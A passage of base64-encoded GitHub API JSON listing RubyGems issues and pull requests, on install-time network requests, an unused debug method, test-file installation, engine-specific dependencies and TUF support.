W5kaXJlY3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNzg4MTAxMSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHJlYWR5IiwibmFtZSI6InN0YXR1czogcmVhZHkiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo4LCJjcmVhdGVkX2F0IjoiMjAxNC0wMi0wN1QwNTo1NToxOVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wOC0wM1QxMzozNDozM1oiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIiwiYm9keSI6IlRoZSAuZ2VtIGZpbGUgdGhhdCBJJ20gaW5zdGFsbGluZyBoYXMgdGhlIGdlbXNwZWMgd2l0aCB0aGUgZGVwZW5kZW5jeSBpbmZvcm1hdGlvbiBpbiBpdC4gVGhlIGdlbSBoYXMgbm8gcnVudGltZSBkZXBlbmRlbmNpZXMuIEFsbCA0IG5ldHdvcmsgcmVxdWVzdHMgYXJlIHVubmVjZXNzYXJ5IHRvIGluc3RhbGwgdGhlIGdlbS5cblxuYGBgXG5nZW0gaW5zdGFsbCBwa2cvYnVuZGxlci0xLjUuMy5nZW0gLS12ZXJib3NlXG5IRUFEIGh0dHA6Ly9hcGkucnVieWdlbXMub3JnL2FwaS92MS9kZXBlbmRlbmNpZXNcbjMwMiBNb3ZlZCBUZW1wb3JhcmlseVxuSEVBRCBodHRwOi8vYnVuZGxlci5ydWJ5Z2Vtcy5vcmcvYXBpL3YxL2RlcGVuZGVuY2llc1xuMjAwIE9LXG5HRVQgaHR0cDovL2FwaS5ydWJ5Z2Vtcy5vcmcvYXBpL3YxL2RlcGVuZGVuY2llcz9nZW1zPWJ1bmRsZXJcbjMwMiBNb3ZlZCBUZW1wb3JhcmlseVxuR0VUIGh0dHA6Ly9idW5kbGVyLnJ1YnlnZW1zLm9yZy9hcGkvdjEvZGVwZW5kZW5jaWVzP2dlbXM9YnVuZGxlclxuMjAwIE9LXG5gYGBcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvODEwIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzgxMC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvODEwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzgxMC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzgxMCIsImlkIjoyNzAxNjI1MCwibnVtYmVyIjo4MTAsInRpdGxlIjoidGhlIGBkZWJ1Z2AgbWV0aG9kIGlzIG5ldmVyIHVzZWQiLCJ1c2VyIjp7ImxvZ2luIjoidGVuZGVybG92ZSIsImlkIjozMTI0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGVuZGVybG92ZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI1NjMyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMG1ham9yJTIwYnVtcCIsIm5hbWUiOiJ0eXBlOiBtYWpvciBidW1wIiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MSwiY3JlYXRlZF9hdCI6IjIwMTQtMDItMDVUMjM6NTk6NDRaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjE6NDBaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJNRU1CRVIiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy84MTAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzgxMCIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvODEwLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC84MTAucGF0Y2gifSwiYm9keSI6IkknbSBub3Qgc3VyZSB3aGF0IHRoaXMgbWV0aG9kIGlzIGZvciAob3RoZXIgdGhhbiB0aGUgY29tbWVudCkuIEl0J3Ncbm5ldmVyIHVzZWQgaW4gdGhlIHRlc3RzLCBhbmQgaXQgZG9lc24ndCBzZWVtIGxpa2UgYW55dGhpbmcgaW4gUnVieUdlbXNcbmlzIGNhbGxpbmcgaXQuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzczNSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MzUvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzczNS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MzUvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzczNSIsImlkIjoyMzkzNDI0MSwibnVtYmVyIjo3MzUsInRpdGxlIjoiUnVieWdlbXMgc2hvdWxkIG5vdCBpbnN0YWxsIHRlc3QgZmlsZXMiLCJ1c2VyIjp7ImxvZ2luIjoiYW5hdG9sIiwiaWQiOjcwMzIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzcwMzI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYXRvbCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FuYXRvbCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYXRvbC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmF0b2wvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hdG9sL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmF0b2wvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmF0b2wvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmF0b2wvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hdG9sL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hdG9sL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmF0b2wvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTE0MTAzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwZ2VtJTIwc3BlYyIsIm5hbWUiOiJjYXRlZ29yeTogZ2VtIHNwZWMiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjoxMTIyMTksInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGluc3RhbGwiLCJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDc4ODEwMTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjByZWFkeSIsIm5hbWUiOiJzdGF0dXM6IHJlYWR5IiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTksImNyZWF0ZWRfYXQiOiIyMDEzLTEyLTA4VDIzOjQ1OjU4WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIwOjExWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJIHNlZSB0aGF0IGdlbXNwZWMgaGFzIHRlc3RfZmlsZXMgYW5kIG1hbnkgZ2VtZmlsZXMgaW5jbHVkZSB0ZXN0cy4gSSBiZWxpZXZlIGl0IGlzIGFydGlmYWN0IGZyb20gYGdlbSB0ZXN0YCB0aW1lcy4gSSB0aGluayB0ZXN0cyBpbiBnZW1maWxlcyBhcmUgT0sgKGUuZy4gaW4gY2FzZSBpZiB5b3UgZGVjaWRlIHRvIHJlaW50cm9kdWNlIGBnZW0gdGVzdGAgYmFjayAjNzMwKS4gQnV0IGBnZW0gaW5zdGFsbGAgc2hvdWxkIG5vdCBpbnN0YWxsIHRoZXNlIGZpbGVzLCBnZW0gdGVzdHMgYXJlIHVzZWxlc3MgZm9yIHVzZXJzICh1bmxlc3MgSSBtaXNzZWQgc29tZXRoaW5nKS5cblxuQm90dG9tbGluZTogYGdlbSBpbnN0YWxsYCBzaG91bGQgbm90IGluc3RhbGwgZmlsZXMgZnJvbSB0ZXN0X2ZpbGVzLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MjIiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvNzIyL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MjIvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvNzIyL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MjIiLCJpZCI6MjM0ODgyNjUsIm51bWJlciI6NzIyLCJ0aXRsZSI6ImFkZCBhYmlsaXR5IHRvIGRlZmluZSBkZXBlbmRlbmNpZXMgYmFzZWQgb24gcnVieSBlbmdpbmUiLCJ1c2VyIjp7ImxvZ2luIjoicmtoIiwiaWQiOjMwNDQyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMDQ0Mj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmtoIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcmtoIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmtoL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JraC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2gvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JraC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JraC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JraC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2gvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2gvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JraC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjIyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBBUEkiLCJuYW1lIjoiY2F0ZWdvcnk6IEFQSSIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTE0MTAzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwZ2VtJTIwc3BlYyIsIm5hbWUiOiJjYXRlZ29yeTogZ2VtIHNwZWMiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDc4ODEwMTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjByZWFkeSIsIm5hbWUiOiJzdGF0dXM6IHJlYWR5IiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTQsImNyZWF0ZWRfYXQiOiIyMDEzLTExLTI5VDExOjQ4OjMwWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIwOjExWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJDdXJyZW50bHkgdGhlcmUgaXMgYSBiaWcgaXNzdWUgd2l0aCBSdWJpbml1czogVGhlIHN0YW5kYXJkIGxpYnJhcnkgaXMgbm93IGFsbCBpbiBnZW1zLiBUaGlzIG1lYW5zIG1hbmlwdWxhdGluZyB0aGUgZ2VtIHBhdGggYW5kIHRvb2xzIGxpa2UgZ2Vtc2V0cywgYnVuZGxlciB3aWxsIG1ha2UgdGhlc2UgdW5hdmFpbGFibGUuIFRoaXMgY2FuIGJlIGZpeGVzIGJ5IGFkZGluZyBydWJ5c2wgYW5kIG90aGVyIGdlbXMgKGxpa2UganNvbikgdG8gdGhlIEdlbWZpbGUuIEhvd2V2ZXIsIHRoaXMgZG9lcyBub3QgcmVhbGx5IHdvcmsgZm9yIGxpYnJhcmllcywgYXMgZGVwZW5kZW5jaWVzIGRvIG5vdCBnZXQgcHJvcGFnYXRlZCBieSBidW5kbGVyLiBBbGwgaW4gYWxsLCB0aGlzIG1lYW5zIHRoZSBlbmQgdXNlciBmb3IgdGhlIGxpYnJhcnkgaGFzIHRvIHJldmVydCBiYWNrIHRvIG1hbnVhbCBkZXBlbmRlbmN5IHJlc29sdXRpb24uIFRoaXMgaXMgbm90IG9ubHkgYW5ub3lpbmcgZm9yIFJ1YnkgZGV2ZWxvcGVycywgYnV0IGNvbWVzIHZlcnkgcGFpbmZ1bCB0byB1c2VycyBub3QgZmFtaWxpYXIgd2l0aCBSdWJ5LlxuXG5JIGNvdWxkIGFkZCBydWJ5c2wtXFwqIGFzIGEgZGVwZW5kZW5jeSB0byB0byBteSBnZW0sIGJ1dCBmaXJzdCBvZmYsIG5vdCBhbGwgb2YgdGhlc2UgaW5zdGFsbCBjbGVhbmx5IG9uIG90aGVyIFJ1YnkgaW1wbGVtZW50YXRpb25zLCBhbmQgc2Vjb25kIGV2ZW4gaWYgdGhleSB3b3VsZCwgaXQgd291bGQgb25seSBjYXVzZSBkdXBsaWNhdGlvbi5cblxuU28gaXQgd291bGQgYmUgZ3JlYXQgaWYgdGhlcmUgd2FzIHRoZSBhYmlsaXR5IHRvIGRlZmluZSBkZXBlbmRlbmNpZXMgZm9yIGEgc3BlY2lmaWMgUnVieSBlbmdpbmUuXG5cbkkga25vdyB0aGF0IHRoaXMgaXMgYW4gaXNzdWUgbWFpbmx5IGNhdXNlZCBieSB0aGUgZGVjaXNpb25zIG1hZGUgYnkgUnViaW5pdXMsIGJ1dCB0aGV5IGtlZXAgcG9pbnRpbmcgbWUgdG8gUnVieUdlbXMgZm9yIGEgZml4LlxuXG5UaGlzIGlzIGVzcGVjaWFsbHkgcGFpbmZ1bCBmb3IgbWUgcGVyc29uYWxseSBmb3IgYSBmZXcgcmVhc29uczpcbi0gSSByZWFsbHkgY2FyZSBhYm91dCBSdWJpbml1cywgYnV0IGFzIGEgbWFpbnRhaW5lciBvZiBtYW55IGdlbXMsIHRoZSBvbmx5IHJlYWwgYWx0ZXJuYXRpdmUgSSBzZWUgaXMgZHJvcHBpbmcgb2ZmaWNpYWwgUnViaW5pdXMgc3VwcG9ydC5cbi0gVHJhdmlzIENJIGlzIGN1cnJlbnRseSBnZXR0aW5nIGEgdmVyeSBoaWdoIHJhdGUgb2Ygc3VwcG9ydCB0aWNrZXRzIGZyb20gY3VzdG9tZXJzIHRoYXQgc3VkZGVubHkgaGF2ZSB0aGVpciBwcm9qZWN0cyBmYWlsIG9uIFJ1YmluaXVzLiBJdCBpcyBoYXJkIGZvciB1cyB0byBrZWVwIHVwIGFuZCB3ZSBzZWUgIHBlb3BsZSBzaW1wbHkgZGlzYWJsaW5nIHRlc3RzIG9uIHJieC5cblxuSWYgSSBjb3VsZCBoYXZlIG9wZW5lZCB0aGlzIGlzc3VlIGZvciB0d28gcmVwb3MgYXQgb25jZSwgSSB3b3VsZC5cblxuL2NjIEBldmFucGh4IEBicml4ZW4gQGRidXNzaW5rXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzcxOSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MTkvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzcxOS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MTkvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC83MTkiLCJpZCI6MjMxNzEyMjYsIm51bWJlciI6NzE5LCJ0aXRsZSI6IlN1cHBvcnQgZm9yIFRoZSBVcGRhdGUgRnJhbWV3b3JrIChUVUYpIiwidXNlciI6eyJsb2dpbiI6InRhcmNpZXJpIiwiaWQiOjc5NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzk3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90YXJjaWVyaSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3RhcmNpZXJpIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGFyY2llcmkvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGFyY2llcmkvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGFyY2llcmkvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RhcmNpZXJpL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGFyY2llcmkvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90YXJjaWVyaS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90YXJjaWVyaS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RhcmNpZXJpL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90YXJjaWVyaS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjUsImNyZWF0ZWRfYXQiOiIyMDEzLTExLTIyVDIyOjE5OjA5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA4LTMwVDE0OjIyOjIxWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiRklSU1RfVElNRV9DT05UUklCVVRPUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzcxOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvNzE5IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC83MTkuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzcxOS5wYXRjaCJ9LCJib2R5IjoiVGhpcyBQUiBjb250YWlucyBhbiBpbXBsZW1lbnRhdGlvbiBvZiBhIGNsaWVudCBmb3IgW1RoZSBVcGRhdGUgRnJhbWV3b3JrIChUVUYpXShodHRwczovL3VwZGF0ZWZyYW1ld29yay5jb20vcHJvamVjdHMvcHJvamVjdCkgd2hpY2ggcHJvdmlkZXMgYSBjb21wbGVtZW50YXJ5L3N1cHBsZW1lbnRhbCBzZWN1cml0eSBzeX